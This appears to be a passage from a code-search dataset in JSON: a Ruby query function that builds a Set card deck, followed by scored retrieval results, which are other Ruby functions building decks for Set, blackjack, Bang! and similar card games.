[ { "docid": "545eb002677d9de1ce2740c2c6945662", "score": "0.8525408", "text": "def makeDeck\n\t\tshadeArray = [\"solid\", \"striped\",\"open\"]\n\t\tnumberArray = [1,2,3]\n\t\tshapeArray = [\"diamond\", \"squiggle\", \"oval\"]\n\t\tcolorArray = [\"red\", \"green\", \"purple\"]\n\n\t\tcount =0\t\t\t\n\t\tfor j in 0..2\n\t\t\tfor k in 0..2\n\t\t\t\tfor l in 0..2\n\t\t\t\t\tfor m in 0..2\n\t\t\t\t\t\tcurrentCard = Card.new\n\t\t\t\t\t\tcurrentCard.shape=(shapeArray[j])\n\t\t\t\t\t\tcurrentCard.number=(numberArray[k])\n\t\t\t\t\t\tcurrentCard.shade=(shadeArray[l])\n\t\t\t\t\t\tcurrentCard.color=(colorArray[m])\n\t\t\t\t\t\t@deck[count] = currentCard\n\t\t\t\t\t\tcount += 1\n\t\t\t\t\tend\t\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" } ]
[ { "docid": "ff26a31277530cb553aa2a8341c4b977", "score": "0.8747348", "text": "def create_deck\n deck = Array.new\n id = 0\n (0..2).each do |number|\n (0..2).each do |color|\n (0..2).each do |shape|\n (0..2).each do |shade|\n deck.push Card.new(id, number,color,shape,shade)\n id += 1\n end\n end\n end\n end\n deck\n end", "title": "" }, { "docid": "c80d700b8cfa025231db73c007ca606e", "score": "0.8467746", "text": "def create_deck\n deck = Array.new\n \n numbers = 1..3\n shapes = [\"diamond\", \"squiggle\", \"oval\"]\n shades = [\"clear\", \"shaded\", \"solid\"]\n colors = [\"red\", \"green\", \"blue\"]\n\n numbers.each do |number|\n shapes.each do |shape|\n shades.each do |shade|\n colors.each do |color|\n thiscard = Card.new(number, shape, shade, color) \n deck.push thiscard\n end\n end\n end\n end\n deck.shuffle!\n return deck\n end", "title": "" }, { "docid": "6bea2736a40a5cd822e85a6d0fd73d54", "score": "0.82188517", "text": "def generate_deck(cards_available)\r\n\tfor color in 0...3\r\n\t\tfor symbol in 0...3\r\n\t\t\tfor shading in 0...3\r\n\t\t\t\tfor amount in 1...4\r\n\t\t\t\t\tcards_available.push(Card.new color, symbol, shading, amount)\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\tend\r\nend", "title": "" }, { "docid": "f4aab2e8794eec11c4b1e16f4bcba699", "score": "0.80983126", "text": "def createDeck\n @deck = []\n cardType =[\"Hearts\", \"Clubs\", \"Spades\", \"Diamonds\"]\n cardVal = ['A', 2, 3, 4, 5, 6, 7, 8, 9, 10, 'J', 'Q', 'K']\n for t in cardType\n for v in cardVal \n @deck.push([t, v])\n end\n end\n end", "title": "" }, { "docid": "a69b6724b06d4fc4ae3b14186f237766", "score": "0.8092535", "text": "def create_deck\n @deck = []\n 4.times do\n @deck += CARD_ARRAY\n end\n shuffle_deck\n end", "title": "" }, { "docid": "c505e88415e1d1eb5569be56d92e6c1b", "score": "0.80842036", "text": "def create_deck\n Card.suits.each do |suit|\n Card.values.each do |value|\n @deck << Card.new(suit, value)\n end\n end\n end", "title": "" }, { "docid": "a703faa3518247d87bed6442a070486b", "score": "0.80590445", "text": "def create_cards\n @cards = Array.new\n #add every combination of the base properties as card objects into the cards array\n for shape in @shapes\n for color in @colors\n for fill in @fills\n for number in @numbers\n @cards.push(Card.new(shape, color, number, fill))\n end\n end\n end\n end\n end", "title": "" }, { "docid": "637155ce42eba2a4726691db915cb51d", "score": "0.80509067", "text": "def create_deck\n self.card_holder = []\n Card.faces.each do |face|\n Card.suits.each do |suit|\n card_holder << Card.new(face, suit)\n end\n end\n end", "title": "" }, { "docid": "cbfa90eba3b57409fd6e47f607f1b392", "score": "0.80319715", "text": "def create_deck\n cards = []\n # Bang 2-9♣, 2-A♦, Q-A♥, A♠\n 13.times { |n| cards << BangCard.new(\"diamond\", n+2) }\n 8.times { |n| cards << BangCard.new(\"club\", n+2) }\n cards << BangCard.new(\"heart\", 12)\n cards << BangCard.new(\"heart\", 13)\n cards << BangCard.new(\"heart\", 14)\n cards << BangCard.new(\"spade\", 14)\n # Gatling 10♥\n cards << GatlingCard.new(\"heart\", 10)\n # Indians A♦, K♦\n cards << IndiansCard.new(\"diamond\", 13)\n cards << IndiansCard.new(\"diamond\", 14)\n # Beer 6-J♥\n 6.times { |n| cards << BeerCard.new(\"heart\", n+6) }\n\n # Missed 10-A♣, 2-8♠\n 5.times { |n| cards << MissedCard.new(\"club\", n+10) }\n 7.times { |n| cards << MissedCard.new(\"spade\", n+2) }\n # Duel Q♦, J♠, 8♣\n cards << DuelCard.new(\"diamond\", 12)\n cards << DuelCard.new(\"spade\", 11)\n cards << DuelCard.new(\"club\", 8)\n # Saloon 5♥\n cards << SaloonCard.new(\"heart\", 5)\n # Stagecoach 9♠ (x2)\n 2.times { |i| cards << StageCoachCard.new(\"spade\", 9, i) }\n # Wells Fargo 3♥\n cards << WellsFargoCard.new(\"heart\", 3)\n # Cat Balou 9♦, 10♦, J♦, K♥\n cards << CatBalouCard.new(\"diamond\", 9)\n cards << CatBalouCard.new(\"diamond\", 10)\n cards << CatBalouCard.new(\"diamond\", 11)\n cards << CatBalouCard.new(\"heart\", 13)\n # Panic! J♥, Q♥, A♥, 8♦\n cards << PanicCard.new(\"heart\", 11)\n cards << PanicCard.new(\"heart\", 12)\n cards << PanicCard.new(\"heart\", 13)\n cards << PanicCard.new(\"diamond\", 8)\n # General Store 9♣, Q♠\n cards << GeneralStoreCard.new(\"club\", 9)\n cards << GeneralStoreCard.new(\"spade\", 12)\n # Jail 10♠, 4♥, J♠\n cards << JailCard.new(\"spade\", 10)\n cards << JailCard.new(\"spade\", 11)\n cards << JailCard.new(\"heart\", 4)\n # Dynamite 2♥\n cards << DynamiteCard.new(\"heart\", 2)\n # Barrel Q♠, K♠\n cards << BarrelCard.new(\"spade\", 12)\n cards << BarrelCard.new(\"spade\", 13)\n # Scope A♠\n cards << ScopeCard.new(\"spade\", 14)\n # Mustang 8♥, 9♥\n cards << MustangCard.new(\"heart\", 8)\n cards << MustangCard.new(\"heart\", 9)\n # Remington K♣\n cards << RemingtonCard.new(\"club\", 13)\n # Rev. Carbine A♣\n cards << RevCarbineCard.new(\"club\", 14)\n # Volcanic 10♠, 10♣\n cards << VolcanicCard.new(\"spade\", 10)\n cards << VolcanicCard.new(\"club\", 10)\n # Schofield K♠, J♣, Q♣\n cards << SchofieldCard.new(\"spade\", 13)\n cards << SchofieldCard.new(\"club\", 11)\n cards << SchofieldCard.new(\"club\", 12)\n # Winchester 8♠\n cards << WinchesterCard.new(\"spade\", 8)\n\n if @expansions.include?(:dodge_city)\n # Bang 5♣, 6♣, K♣, 8♠\n cards << BangCard.new(\"club\", 5)\n cards << BangCard.new(\"club\", 6)\n cards << BangCard.new(\"club\", 13)\n cards << BangCard.new(\"spade\", 8)\n # Punch 10♠\n cards << PunchCard.new(\"spade\", 10)\n # Indians 5♦\n cards << IndiansCard.new(\"diamond\", 5)\n # Missed 8♦\n cards << MissedCard.new(\"diamond\", 8)\n # Beer 6♥, 6♠\n cards << BeerCard.new(\"spade\", 6)\n cards << BeerCard.new(\"heart\", 6)\n # Binoculars 10♦\n cards << BinocularsCard.new(\"diamond\", 10)\n # Hideout K♦\n cards << HideoutCard.new(\"diamond\", 13)\n # Mustang 5♥\n cards << MustangCard.new(\"heart\", 5)\n # Barrel A♣\n cards << BarrelCard.new(\"club\", 14)\n # Dynamite 10♣,\n cards << DynamiteCard.new(\"club\", 10)\n # Rev. Carbine 5♠\n cards << RevCarbineCard.new(\"spade\", 5)\n # Remingtion 6♦\n cards << RemingtonCard.new(\"diamond\", 6)\n # Springfield 10♠\n # Ragtime 9♥\n # Whiskey Q♥\n # GeneralStore A♠\n # Dodge 7♦, K♥\n # Panic J♥\n # Cat Balou 8♣\n # Tequila 9♣\n # Brawl J♠\n end\n cards\n end", "title": "" }, { "docid": "4f136e6f4d4670bed5416d82de5ec017", "score": "0.8026592", "text": "def create_cards\n suits = [\"Hearts\", \"Spades\", \"Clubs\", \"Diamonds\"]\n numbers = [1,2,3,4,5,6,7,8,9,10,11,12,13]\n suits.each do |s|\n numbers.each do |n|\n self.cards << Card.create!(suit: s, number: n, deck_id: self.id, location: 'deck')\n end\n end\n self\n end", "title": "" }, { "docid": "93c73fa4ab3c41aaf361207a8c085299", "score": "0.7964553", "text": "def createNewDeck\n new_deck = Array.new\n @@faces.each do |face|\n @@suits.each do |suit|\n card = Card.new(face, suit)\n new_deck.push(card)\n end\n end\n new_deck\n end", "title": "" }, { "docid": "fe3fcf984c73117c06d9f150ff90d7f7", "score": "0.7952699", "text": "def generate (cards)\n\t# Card types\n colors = %w{red green purple}\n symbols = %w{diamond squiggle oval}\n fills = %w{filled empty lined}\n numbers = %w{1 2 3}\n\n # Dynamically generate set of cards\n #for i in 0..2 dont know why two decks are created\n colors.each do |colors|\n symbols.each do |symbols|\n fills.each do |fills|\n numbers.each do |numbers|\n cards.push(Card.new(colors, symbols, fills, numbers))\n end\n end\n end \n end\n cards.shuffle! \n\nend", "title": "" }, { "docid": "468b840a133329b04c4ab6a82a42f275", "score": "0.78811926", "text": "def card_creater\n i = 0\n deck = []\n while i < VALUE.length\n 4.times do |el|\n deck << Card.new(VALUE[i], NUMBER[i], SUIT[el], @deck)\n end\n i += 1\n\n end\n deck\n end", "title": "" }, { "docid": "11a3fc3ea45448d349ad02145cbfc9d5", "score": "0.7873565", "text": "def create_deck\n # parameter options are defined as arrays of the 3 possible options for each of the\n # 4 parameters\n nums = %w[1 2 3]\n colors = %w[Green Blue Red]\n shapes = %w[Diamond Tilde Oval]\n opacities = %w[Transparent Shaded Filled]\n deck = []\n # cards are created with a 4 layer nested loop, for each possible parameter combination, and no more.\n (0..2).each do |a|\n num = nums[a]\n (0..2).each do |b|\n color = colors[b]\n (0..2).each do |c|\n shape = shapes[c]\n (0..2).each do |d|\n opacity = opacities[d]\n # create a new card with the current parameters and add it to the deck\n c = Card.new(num, color, shape, opacity)\n deck.append(c)\n end\n end\n end\n end\n deck\nend", "title": "" }, { "docid": "11a3fc3ea45448d349ad02145cbfc9d5", "score": "0.7873565", "text": "def create_deck\n # parameter options are defined as arrays of the 3 possible options for each of the\n # 4 parameters\n nums = %w[1 2 3]\n colors = %w[Green Blue Red]\n shapes = %w[Diamond Tilde Oval]\n opacities = %w[Transparent Shaded Filled]\n deck = []\n # cards are created with a 4 layer nested loop, for each possible parameter combination, and no more.\n (0..2).each do |a|\n num = nums[a]\n (0..2).each do |b|\n color = colors[b]\n (0..2).each do |c|\n shape = shapes[c]\n (0..2).each do |d|\n opacity = opacities[d]\n # create a new card with the current parameters and add it to the deck\n c = Card.new(num, color, shape, opacity)\n deck.append(c)\n end\n end\n end\n end\n deck\nend", "title": "" }, { "docid": "61fe92d4488ae79b7c2d7c82f7afa3b9", "score": "0.78095526", "text": "def create_deck(number_of_decks = 1)\n (1..number_of_decks).each do\n 4.times do |color|\n # Two of each 1-9, Reverse, Skip, Draw 2 in each color\n (1..12).each do |internal_value|\n @cards << Card.new(internal_value, color)\n @cards << Card.new(internal_value, color)\n end\n # One of each 0 in each color\n @cards << Card.new(0, color)\n # Four Wilds, no color/black\n @cards << Card.new(13, RunoCards::BLACK)\n @cards << Card.new(14, RunoCards::BLACK)\n end\n end\n end", "title": "" }, { "docid": "6f9fe7cfe5de96f272f05f2407656d68", "score": "0.77929896", "text": "def create\n\t\tr = 2\n\t\t@deck = []\n\t\tuntil r == 15 do \n\t\t\t@deck << Card.new(r, \"Spades\")\n\t\t\t@deck << Card.new(r, \"Diamonds\")\n\t\t\t@deck << Card.new(r, \"Clubs\")\n\t\t\t@deck << Card.new(r, \"Hearts\")\n\t\t\tr += 1\n\t\tend\n\t\t@deck\n\tend", "title": "" }, { "docid": "162be65e5dc9904804b09a5dcefbf759", "score": "0.7781027", "text": "def build_deck\n 0.upto(51).map{ |i| Card.new(i)}\n end", "title": "" }, { "docid": "b5c744b56004ddc0128e47b92fd4838e", "score": "0.7777133", "text": "def initialize\n @deck = []\n cardIndex = 1\n COLORS.each do |color|\n FILLS.each do |fill|\n SHAPES.each do |shape|\n NUMBERS.each do |number|\n @new_card = Card.new(color, shape, fill, number, \"./image/card#{cardIndex}.png\")\n @deck << @new_card\n cardIndex += 1\n end\n end\n end\n end\n @deck.shuffle!\n end", "title": "" }, { "docid": "599726029b4b51ecb1dd3386098cd577", "score": "0.7744047", "text": "def initialize\n @cards = Array.new\n temp_card = Card.new\n\n #nested for loops create one of every card\n (1..3).each do |i| \n temp_card.number = i\n (1..3).each do |j|\n temp_card.symbol = 'diamond' if (j == 1)\n temp_card.symbol = 'oval' if (j == 2)\n temp_card.symbol = 'squiggle' if (j == 3)\n (1..3).each do |k|\n temp_card.shading = 'solid' if (k == 1)\n temp_card.shading = 'empty' if (k == 2)\n temp_card.shading = 'lines' if (k == 3)\n (1..3).each do |l|\n temp_card.color = 'red' if (l == 1)\n temp_card.color = 'green' if (l == 2)\n temp_card.color = 'blue' if (l == 3)\n\n #copies the contents of the card so that 81 aliases are not created\n copy_card = Card.new\n copy_card.number = temp_card.number\n copy_card.symbol = temp_card.symbol\n copy_card.color = temp_card.color\n copy_card.shading = temp_card.shading\n\n #pushes the copied version of the card\n @cards.push(copy_card)\n\n end\n end\n end\n end\n @cards = @cards.shuffle\n end", "title": "" }, { "docid": "a7f9ee5fa2892b455800ff26bc6c3fc4", "score": "0.77355164", "text": "def create_deck\n @log.debug(\"Create a deck with rank and points\")\n # array di simboli delle carte(:_Ac :_4c ...) gestisce il mazzo delle carte durante la partita\n @mazzo_gioco = []\n # set card values and points\n val_arr_rank = [12,2,11,4,5,6,7,8,9,10] # card value order\n val_arr_points = [11,0,10,0,0,0,0,2,3,4] # card points\n # modifica il mazzo aggiungendo punti e valore delle carte per il gioco specifico della mariazza\n @@deck_info.each do |k, card| \n curr_index = card[:ix]\n card[:rank] = val_arr_rank[curr_index % 10]\n card[:points] = val_arr_points[curr_index % 10]\n # mazzo viene gestito solo coi simboli\n @mazzo_gioco << k\n end\n \n end", "title": "" }, { "docid": "e4a5f0928f6729dc1feb45f558b8e283", "score": "0.7722448", "text": "def create_cards\n # create clubs\n clubs = Array.new(13) { |rank| BlackjackRb::Card.new(rank + 1, :club) }\n\n # create diamonds\n diamonds = Array.new(13) { |rank| BlackjackRb::Card.new(rank + 1, :diamond) }\n\n # create spades\n spades = Array.new(13) { |rank| BlackjackRb::Card.new(rank + 1, :spade) }\n\n # create hearts\n hearts = Array.new(13) { |rank| BlackjackRb::Card.new(rank + 1, :heart) }\n\n # join them all together\n (clubs + diamonds + spades + hearts)\n end", "title": "" }, { "docid": "0c32cbca9a463bfb82dc219f474f562b", "score": "0.7707128", "text": "def create_52_card_deck\n suits = ['hearts', 'clubs', 'diamonds', 'spades']\n value = [14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2]\n for y in suits\n for x in value\n @deck << Card.new(x, x, y)\n end\n end\n @deck\n end", "title": "" }, { "docid": "18aa68b3e1e56b92fe9de21660a7bb3c", "score": "0.77017736", "text": "def new_deck\n @deck = Array.new\n VALID_SUITS.each do |suit| \n VALID_VALUES.each do |value|\n @deck.push(Card.new(suit, value))\n end\n end\n @deck.shuffle! # shuffle the deck\n end", "title": "" }, { "docid": "2b246697dcadb3707a44da6afde9ab28", "score": "0.7699056", "text": "def makeNewDeck deck\n suits = [\"hearts\", \"diamonds\", \"clubs\", \"spades\"]\n\n suits.each{|suit| \n\n numbers = [ ['2',2],['3',3],['4',4],['5',5],['6',6],['7',7],['8',8],['9',9],['ten',10],[\"jack\", 10],[\"queen\", 10], [\"king\", 10], [\"ace\", 11] ]\n\n numbers.each{\n |number| \n makeCard = Card.new(number: number[0], suit: suit, value: number[1])\n Card.pushDeck makeCard,deck\n }\n\n }\nend", "title": "" }, { "docid": "df60e2df454a2fa3c7bdcd695854df25", "score": "0.76944166", "text": "def deck_creation\n\tranks = [2, 3, 4, 5, 6, 7, 8, 9, 10, \"J\", \"Q\", \"K\", \"A\"]\n\tsuits = [ \"hearts\", \"spades\", \"clubs\", \"diamonds\" ]\n\tdeck = []\n# def deck_creation\n\tranks.each_with_index do |value,index|\n # calls on the specified item (i.e. ranks) and it passes through\n # each item in the enum\n\t suits.each do |suit|\n deck << [{value: value, suit: suit, score: index}]\n\t # deck.push([value,suit])\n # placing all the cards into a subarray with len 2 and pushing that into\n # the deck array\n\t end\n\tend\n\treturn deck.shuffle\n # returning a shuffled deck\nend", "title": "" }, { "docid": "c2bf4fa19f8e500552a37f747426967e", "score": "0.768815", "text": "def create_deck\r\n @log.debug(\"Create a deck with rank and points\")\r\n # array di simboli delle carte(:_Ac :_4c ...) gestisce il mazzo delle carte durante la partita\r\n @mazzo_gioco = []\r\n \r\n @deck_information.build_deck_briscola\r\n @deck_information.cards_on_game.each{|x| @mazzo_gioco << x}\r\n \r\n end", "title": "" }, { "docid": "13950c8e70defcfd273494bf3e80655e", "score": "0.76801723", "text": "def create_populate suit\n deck = []\n faces = [[\"Jack\", 10],[\"Queen\", 10],[\"King\", 10],[\"Ace\", 11]]\n (2..10).each do |num| \n card = Card.new num, num, suit\n deck.push(card)\n end\n\n faces.each do |face|\n card = Card.new face[1], face[0], suit\n deck.push(card)\n end\n\n deck\nend", "title": "" }, { "docid": "f732ae3fdbd6740bf1c99def34d73c4c", "score": "0.7658354", "text": "def build_deck\n @new_deck << Card.new(\"Spades\", \"A\", 1)\n @new_deck << Card.new(\"Spades\", \"2\", 2)\n @new_deck << Card.new(\"Spades\", \"3\", 3)\n @new_deck << Card.new(\"Spades\", \"4\", 4)\n @new_deck << Card.new(\"Spades\", \"5\", 5)\n @new_deck << Card.new(\"Spades\", \"6\", 6)\n @new_deck << Card.new(\"Spades\", \"7\", 7)\n @new_deck << Card.new(\"Spades\", \"8\", 8)\n @new_deck << Card.new(\"Spades\", \"9\", 9)\n @new_deck << Card.new(\"Spades\", \"10\", 10)\n @new_deck << Card.new(\"Spades\", \"J\", 11)\n @new_deck << Card.new(\"Spades\", \"Q\", 12)\n @new_deck << Card.new(\"Spades\", \"K\", 13)\n @new_deck << Card.new(\"Hearts\", \"A\", 1)\n @new_deck << Card.new(\"Hearts\", \"2\", 2)\n @new_deck << Card.new(\"Hearts\", \"3\", 3)\n @new_deck << Card.new(\"Hearts\", \"4\", 4)\n @new_deck << Card.new(\"Hearts\", \"5\", 5)\n @new_deck << Card.new(\"Hearts\", \"6\", 6)\n @new_deck << Card.new(\"Hearts\", \"7\", 7)\n @new_deck << Card.new(\"Hearts\", \"8\", 8)\n @new_deck << Card.new(\"Hearts\", \"9\", 9)\n @new_deck << Card.new(\"Hearts\", \"10\", 10)\n @new_deck << Card.new(\"Hearts\", \"J\", 11)\n @new_deck << Card.new(\"Hearts\", \"Q\", 12)\n @new_deck << Card.new(\"Hearts\", \"K\", 13)\n @new_deck << Card.new(\"Diamonds\", \"A\", 1)\n @new_deck << Card.new(\"Diamonds\", \"2\", 2)\n @new_deck << Card.new(\"Diamonds\", \"3\", 3)\n @new_deck << Card.new(\"Diamonds\", \"4\", 4)\n @new_deck << Card.new(\"Diamonds\", \"5\", 5)\n @new_deck << Card.new(\"Diamonds\", \"6\", 6)\n @new_deck << Card.new(\"Diamonds\", \"7\", 7)\n @new_deck << Card.new(\"Diamonds\", \"8\", 8)\n @new_deck << Card.new(\"Diamonds\", \"9\", 9)\n @new_deck << Card.new(\"Diamonds\", \"10\", 10)\n @new_deck << Card.new(\"Diamonds\", \"J\", 11)\n @new_deck << Card.new(\"Diamonds\", \"Q\", 12)\n @new_deck << Card.new(\"Diamonds\", \"K\", 13)\n @new_deck << Card.new(\"Clubs\", \"A\", 1)\n @new_deck << Card.new(\"Clubs\", \"2\", 2)\n @new_deck << Card.new(\"Clubs\", \"3\", 3)\n @new_deck << Card.new(\"Clubs\", \"4\", 4)\n @new_deck << Card.new(\"Clubs\", \"5\", 5)\n @new_deck << Card.new(\"Clubs\", \"6\", 6)\n @new_deck << Card.new(\"Clubs\", \"7\", 7)\n @new_deck << Card.new(\"Clubs\", \"8\", 8)\n @new_deck << Card.new(\"Clubs\", \"9\", 9)\n @new_deck << Card.new(\"Clubs\", \"10\", 10)\n @new_deck << Card.new(\"Clubs\", \"J\", 11)\n @new_deck << Card.new(\"Clubs\", \"Q\", 12)\n @new_deck << Card.new(\"Clubs\", \"K\", 13)\n end", "title": "" }, { "docid": "6da5026b2fae80622922482074c35254", "score": "0.76542664", "text": "def suit\r\n\tsuit_d = []\r\n\tsuit_s = []\r\n\tsuit_c = []\r\n\tsuit_h = []\r\n\tsuit_d<<\"JDB\"\r\n\tsuit_d<<\"JDR\"\r\n\tsuit_d<<\"QDB\"\r\n\tsuit_d<<\"QDR\"\r\n\tsuit_d<<\"KDB\"\r\n\tsuit_d<<\"KDR\"\r\n@deck_d += suit_d\r\n\tsuit_s<<\"JSB\"\r\n\tsuit_s<<\"JSR\"\r\n\tsuit_s<<\"QSB\"\r\n\tsuit_s<<\"QSR\"\r\n\tsuit_s<<\"KSB\"\r\n\tsuit_s<<\"KSR\"\r\n@deck_s += suit_s\r\n\tsuit_c<<\"JCR\"\r\n\tsuit_c<<\"JCB\"\r\n\tsuit_c<<\"QCB\"\r\n\tsuit_c<<\"QCR\"\r\n\tsuit_c<<\"KCS\"\r\n\tsuit_c<<\"KCR\"\r\n@deck_c += suit_c\r\n suit_h<<\"JHR\"\r\n\tsuit_h<<\"JHB\"\r\n\tsuit_h<<\"QHB\"\r\n\tsuit_h<<\"QHR\"\r\n\tsuit_h<<\"KHS\"\r\n\tsuit_h<<\"KHR\"\r\n@deck_h += suit_h\r\n\r\n \r\nend\r\n\r\n# functions used to generate 1 to 10 cards for each type of cards with black or red colors\r\n# again pretty sure could be optimized some how \r\ndef deck_diamonds\r\n\tx = (1..10)\r\n\tx.each {|num| @deck_d<<num.to_s + \"DB\"}\r\n\tx.each {|num| @deck_d<<num.to_s + \"DR\"}\r\n@deck_d\r\nend\r\n\r\ndef deck_spades\r\n\tx = (1..10)\r\n\tx.each {|num| @deck_s<<num.to_s + \"SB\"}\r\n\tx.each {|num| @deck_s<<num.to_s + \"SR\"}\r\n@deck_s\r\nend\r\n\r\ndef deck_clubs\r\n\tx = (1..10)\r\n\tx.each {|num| @deck_c<<num.to_s + \"CB\"}\r\n\tx.each {|num| @deck_c<<num.to_s + \"CR\"}\r\n@deck_c\r\nend\r\n\r\ndef deck_hearts\r\n\tx = (1..10)\r\n\tx.each {|num| @deck_c<<num.to_s + \"HB\"}\r\n\tx.each {|num| @deck_c<<num.to_s + \"HR\"}\r\n@deck_h\r\nend\r\n\r\n\r\n\r\ndef game\r\n# using all the above functions to generate the full deck\r\n# initialize all variables and accumulators\r\nsuit\r\ndeck = deck_hearts + deck_spades + deck_diamonds + deck_clubs\r\nuser_input = nil\r\nhit = rand(deck.length) + 1\r\nplayer_cards =[]\r\nplayer_result = 0\r\ndealer_result = 0\r\ndealer_cards = []\r\nhand = 0\r\nwhile hand < 2\r\n\r\nif player_result < 21\r\nputs \"Select one of the following options : 1) Hit 2) Stay \"\r\nuser_input = gets.chomp\r\nif user_input == \"1\"\r\n\t# randomly a number is selected which represents an index of the array representing the deck\r\n\tplayer_selection = deck[hit]\r\n\t# the card corresponding to the random index selected is pushed in the player_cards array \r\n\tplayer_cards<<player_selection\r\n\t# the random card selected is deleted from the deck so that the dealer or the player cannot select the same card again\r\n\tdeck.delete(player_selection)\r\n\t# the value of the card is computed \"10SR\".to_i will correspond to 10, \"JSR\".to_i will return 0 \r\n\tvalue_of_card_player = player_selection.to_i\r\n\t# if the retuned value is 0 that means it is a face card which means adds 10 to the player_result\r\n\tif value_of_card_player == 0 \r\n\t\tplayer_result += 10\r\n\t\t\r\n\telse\r\n\t\tplayer_result += value_of_card_player\r\n\t\t\r\n\tend\r\n\tif dealer_result <= 17\r\n\tdealer_selection = deck[hit]\r\n\tdealer_cards<<dealer_selection\r\n\tdeck.delete(dealer_selection)\r\n\tvalue_of_card_dealer = dealer_selection.to_i\r\n\tif value_of_card_dealer == 0\r\n\t\tdealer_result += 10\r\n\t\t\r\n\telse\r\n\t\tdealer_result += value_of_card_dealer\r\n\tend\r\n\t\t\t# if the dealer has a result of 17 or more the computer will randomly select one of the two options either \"hit\" or \"stay\"\r\n\t\r\n\telse\r\n\t\tdealer_select = rand(2) + 1\r\n\t\tif dealer_select == 1\r\n\t\tdealer_selection = deck[hit]\r\n\t\tdealer_cards<<dealer_selection\r\n\t\tdeck.delete(dealer_selection)\r\n\t\tvalue_of_card_dealer = dealer_selection.to_i\r\n\t\tif value_of_card_dealer == 0\r\n\t\t\tdealer_result += 10\r\n\t\telse\r\n\t\t\tdealer_result += value_of_card_dealer\r\n\t\tend\r\n\t\t\r\n\t dealer_result\r\n\tend\r\n\t\t\r\n\tdealer_result\r\n\t\r\nend\r\n\t\r\n\t\t\r\n\r\nelse \r\n\tplayer_result\r\n\tif dealer_result <= 17\r\n\tdealer_selection = deck[hit]\r\n\tdealer_cards<<dealer_selection\r\n\tdeck.delete(dealer_selection)\r\n\tvalue_of_card_dealer = dealer_selection.to_i\r\n\t\tif value_of_card_dealer == 0\r\n\t\t\tdealer_result += 10\r\n\t\t\r\n\t\telse\r\n\t\t\tdealer_result += value_of_card_dealer\r\n\t\tend\r\n\t\t\t# if the dealer has a result of 17 or more the computer will randomly select one of the two options either \"hit\" or \"stay\"\r\n\telse\r\n\tdealer_select = rand(2) + 1\r\n\t\tif dealer_select == 1\r\n\t\t\tdealer_selection = deck[hit]\r\n\t\t\tdealer_cards<<dealer_selection\r\n\t\t\tdeck.delete(dealer_selection)\r\n\t\t\tvalue_of_card_dealer = dealer_selection.to_i\r\n\t\t\t\tif value_of_card_dealer == 0\r\n\t\t\t\t\tdealer_result += 10\r\n\t\t\t\telse\r\n\t\t\t\t\tdealer_result += value_of_card_dealer\r\n\t\t\t\tend\r\n\t\t\r\n\t\t\tdealer_result\r\n\t\tend\r\n\tend\r\nend\r\nputs \"dealer score is #{dealer_result}\"\r\nputs \"player score is #{player_result}\"\r\n\r\n\r\n\r\n \r\n\r\nend\r\nhand +=1\r\nend\r\nputs \"#{@player_name} ,your score is #{player_result}\"\r\n\r\nif player_result == dealer_result\r\n\t\tputs \"#{@player_name} You scored #{player_result} & the dealer scored #{dealer_result}\" \r\n\tputs \"Draw\"\r\nelsif dealer_result == 21\r\n\t\t\r\n\t\tputs \"Busted !!, You scored #{player_result} & the dealer scored #{dealer_result}.Better luck next time #{@player_name}\"\r\nelsif player_result == 21 or ((21 - player_result) < (21-dealer_result))\r\n\t\r\n\t\tputs \"You WON !!! , You scored #{player_result} & the dealer scored #{dealer_result}\"\r\n\r\n\telse\r\n\t\t\t\t\r\n\t\tputs \"Busted !!, You scored #{player_result} & the dealer scored #{dealer_result}.Better luck next time #{@player_name}\"\r\n\t\t\r\n\t\r\nend\r\n\r\n\r\n\t\r\nputs \"Would you like to play again ? 1)play again 2)exit\"\r\nplay_again = gets.chomp\r\nunless play_again == \"2\"\r\n\tgame\r\nend\r\nend\r\n\r\n\r\n\r\ngame\r\n\r\nputs \"have a good day!\"\r\n\r\n\t \t \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t \t \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "title": "" }, { "docid": "4b10782bd72d1778227ffd4e450d83f6", "score": "0.76435167", "text": "def new_deck\n deck = []\n SUITS.each do |suit|\n FACES.each do |card|\n deck << [suit, card]\n end\n end\n deck\nend", "title": "" }, { "docid": "530dc514619f2a4e89e9a97c88746273", "score": "0.76390606", "text": "def suit\n\tsuit_d = []\n\tsuit_s = []\n\tsuit_c = []\n\tsuit_h = []\n\tsuit_d<<\"JDB\"\n\tsuit_d<<\"JDR\"\n\tsuit_d<<\"QDB\"\n\tsuit_d<<\"QDR\"\n\tsuit_d<<\"KDB\"\n\tsuit_d<<\"KDR\"\n@deck_d += suit_d\n\tsuit_s<<\"JSB\"\n\tsuit_s<<\"JSR\"\n\tsuit_s<<\"QSB\"\n\tsuit_s<<\"QSR\"\n\tsuit_s<<\"KSB\"\n\tsuit_s<<\"KSR\"\n@deck_s += suit_s\n\tsuit_c<<\"JCR\"\n\tsuit_c<<\"JCB\"\n\tsuit_c<<\"QCB\"\n\tsuit_c<<\"QCR\"\n\tsuit_c<<\"KCS\"\n\tsuit_c<<\"KCR\"\n@deck_c += suit_c\n suit_h<<\"JHR\"\n\tsuit_h<<\"JHB\"\n\tsuit_h<<\"QHB\"\n\tsuit_h<<\"QHR\"\n\tsuit_h<<\"KHS\"\n\tsuit_h<<\"KHR\"\n@deck_h += suit_h\n\n \nend\n\n# functions used to generate 1 to 10 cards for each type of cards with black or red colors\n# again pretty sure could be optimized some how \ndef deck_diamonds\n\tx = (1..10)\n\tx.each {|num| @deck_d<<num.to_s + \"DB\"}\n\tx.each {|num| @deck_d<<num.to_s + \"DR\"}\n@deck_d\nend\n\ndef deck_spades\n\tx = (1..10)\n\tx.each {|num| @deck_s<<num.to_s + \"SB\"}\n\tx.each {|num| @deck_s<<num.to_s + \"SR\"}\n@deck_s\nend\n\ndef deck_clubs\n\tx = (1..10)\n\tx.each {|num| @deck_c<<num.to_s + \"CB\"}\n\tx.each {|num| @deck_c<<num.to_s + \"CR\"}\n@deck_c\nend\n\ndef deck_hearts\n\tx = (1..10)\n\tx.each {|num| @deck_c<<num.to_s + \"HB\"}\n\tx.each {|num| @deck_c<<num.to_s + \"HR\"}\n@deck_h\nend\n\n\ndef game\n# using all the above functions to generate the full deck\n# initialize all variables and accumulators\nsuit\ndeck = deck_hearts + deck_spades + deck_diamonds + 